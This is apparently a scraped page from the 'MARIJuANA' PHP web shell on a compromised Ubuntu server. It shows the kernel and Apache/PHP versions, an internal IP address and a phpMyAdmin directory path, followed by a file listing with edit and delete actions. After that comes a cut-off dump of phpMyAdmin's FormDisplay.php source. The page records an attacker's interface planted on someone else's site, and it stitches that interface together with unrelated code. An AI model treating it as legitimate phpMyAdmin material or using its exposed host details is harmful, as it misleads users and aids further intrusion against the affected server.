MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/barra_do_choca/public_html/phpmyadmin/libraries/classes/Config/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
Forms dir drwxrwxr-x 2021-01-14 03:39 R D
ConfigFile.php 14.248 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Descriptions.php 73.929 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Form.php 6.079 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
FormDisplay.php 29.013 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
FormDisplayTemplate.php 17.694 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
PageSettings.php 5.544 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ServerConfigChecks.php 19.702 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Validator.php 18.504 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
REQUEST EXIT
_jsLangStrings = array( 'error_nan_p' => __('Not a positive number!'), 'error_nan_nneg' => __('Not a non-negative number!'), 'error_incorrect_port' => __('Not a valid port number!'), 'error_invalid_value' => __('Incorrect value!'), 'error_value_lte' => __('Value must be less than or equal to %s!')); $this->_configFile = $cf; // initialize validators Validator::getValidators($this->_configFile); } /** * Returns {@link ConfigFile} associated with this instance * * @return ConfigFile */ public function getConfigFile() { return $this->_configFile; } /** * Registers form in form manager * * @param string $form_name Form name * @param array $form Form data * @param int $server_id 0 if new server, validation; >= 1 if editing a server * * @return void */ public function registerForm($form_name, array $form, $server_id = null) { $this->_forms[$form_name] = new Form( $form_name, $form, $this->_configFile, $server_id ); $this->_isValidated = false; foreach ($this->_forms[$form_name]->fields as $path) { $work_path = $server_id === null ? $path : str_replace('Servers/1/', "Servers/$server_id/", $path); $this->_systemPaths[$work_path] = $path; $this->_translatedPaths[$work_path] = str_replace('/', '-', $work_path); } } /** * Processes forms, returns true on successful save * * @param bool $allow_partial_save allows for partial form saving * on failed validation * @param bool $check_form_submit whether check for $_POST['submit_save'] * * @return boolean whether processing was successful */ public function process($allow_partial_save = true, $check_form_submit = true) { if ($check_form_submit && !isset($_POST['submit_save'])) { return false; } // save forms if (count($this->_forms) > 0) { return $this->save(array_keys($this->_forms), $allow_partial_save); } return false; } /** * Runs validation for all registered forms * * @return void */ private function _validate() { if ($this->_isValidated) { return; } $paths = array(); $values = array(); foreach ($this->_forms as $form) { /* @var $form Form */ $paths[] = $form->name; // collect values and paths foreach ($form->fields as $path) { $work_path = array_search($path, $this->_systemPaths); $values[$path] = $this->_configFile->getValue($work_path); $paths[] = $path; } } // run validation $errors = Validator::validate( $this->_configFile, $paths, $values, false ); // change error keys from canonical paths to work paths if (is_array($errors) && count($errors) > 0) { $this->_errors = array(); foreach ($errors as $path => $error_list) { $work_path = array_search($path, $this->_systemPaths); // field error if (! $work_path) { // form error, fix path $work_path = $path; } $this->_errors[$work_path] = $error_list; } } $this->_isValidated = true; } /** * Outputs HTML for the forms under the menu tab * * @param bool $show_restore_default whether to show "restore default" * button besides the input field * @param array &$js_default stores JavaScript code * to be displayed * @param array &$js will be updated with javascript code * @param bool $show_buttons whether show submit and reset button * * @return string $htmlOutput */ private function _displayForms( $show_restore_default, array &$js_default, array &$js, $show_buttons ) { $htmlOutput = ''; $validators = Validator::getValidators($this->_configFile); foreach ($this->_forms as $form) { /* @var $form Form */ $form_errors = isset($this->_errors[$form->name]) ? $this->_errors[$form->name] : null; $htmlOutput .= FormDisplayTemplate::displayFieldsetTop( Descriptions::get("Form_{$form->name}"), Descriptions::get("Form_{$form->name}", 'desc'), $form_errors, array('id' => $form->name) ); foreach ($form->fields as $field => $path) { $work_path = array_search($path, $this->_systemPaths); $translated_path = $this->_translatedPaths[$work_path]; // always true/false for user preferences display // otherwise null $userprefs_allow = isset($this->_userprefsKeys[$path]) ? !isset($this->_userprefsDisallow[$path]) : null; // display input $htmlOutput .= $this->_displayFieldInput( $form, $field, $path, $work_path, $translated_path, $show_restore_default, $userprefs_allow, $js_default ); // register JS validators for this field if (isset($validators[$path])) { FormDisplayTemplate::addJsValidate($translated_path, $validators[$path], $js); } } $htmlOutput .= FormDisplayTemplate::displayFieldsetBottom($show_buttons); } return $htmlOutput; } /** * Outputs HTML for forms * * @param bool $tabbed_form if true, use a form with tabs * @param bool $show_restore_default whether show "restore default" button * besides the input field * @param bool $show_buttons whether show submit and reset button * @param string $form_action action attribute for the form * @param array|null $hidden_fields array of form hidden fields (key: field * name) * * @return string HTML for forms */ public function getDisplay( $tabbed_form = false, $show_restore_default = false, $show_buttons = true, $form_action = null, $hidden_fields = null ) { static $js_lang_sent = false; $htmlOutput = ''; $js = array(); $js_default = array(); $htmlOutput .= FormDisplayTemplate::displayFormTop($form_action, 'post', $hidden_fields); if ($tabbed_form) { $tabs = array(); foreach ($this->_forms as $form) { $tabs[$form->name] = Descriptions::get("Form_$form->name"); } $htmlOutput .= FormDisplayTemplate::displayTabsTop($tabs); } // validate only when we aren't displaying a "new server" form $is_new_server = false; foreach ($this->_forms as $form) { /* @var $form Form */ if ($form->index === 0) { $is_new_server = true; break; } } if (! $is_new_server) { $this->_validate(); } // user preferences $this->_loadUserprefsInfo(); // display forms $htmlOutput .= $this->_displayForms( $show_restore_default, $js_default, $js, $show_buttons ); if ($tabbed_form) { $htmlOutput .= FormDisplayTemplate::displayTabsBottom(); } $htmlOutput .= FormDisplayTemplate::displayFormBottom(); // if not already done, send strings used for validation to JavaScript if (! $js_lang_sent) { $js_lang_sent = true; $js_lang = array(); foreach ($this->_jsLangStrings as $strName => $strValue) { $js_lang[] = "'$strName': '" . Sanitize::jsFormat($strValue, false) . '\''; } $js[] = "$.extend(PMA_messages, {\n\t" . implode(",\n\t", $js_lang) . '})'; } $js[] = "$.extend(defaultValues, {\n\t" . implode(",\n\t", $js_default) . '})'; $htmlOutput .= FormDisplayTemplate::displayJavascript($js); return $htmlOutput; } /** * Prepares data for input field display and outputs HTML code * * @param Form $form Form object * @param string $field field name as it appears in $form * @param string $system_path field path, eg. Servers/1/verbose * @param string $work_path work path, eg. Servers/4/verbose * @param string $translated_path work path changed so that it can be * used as XHTML id * @param bool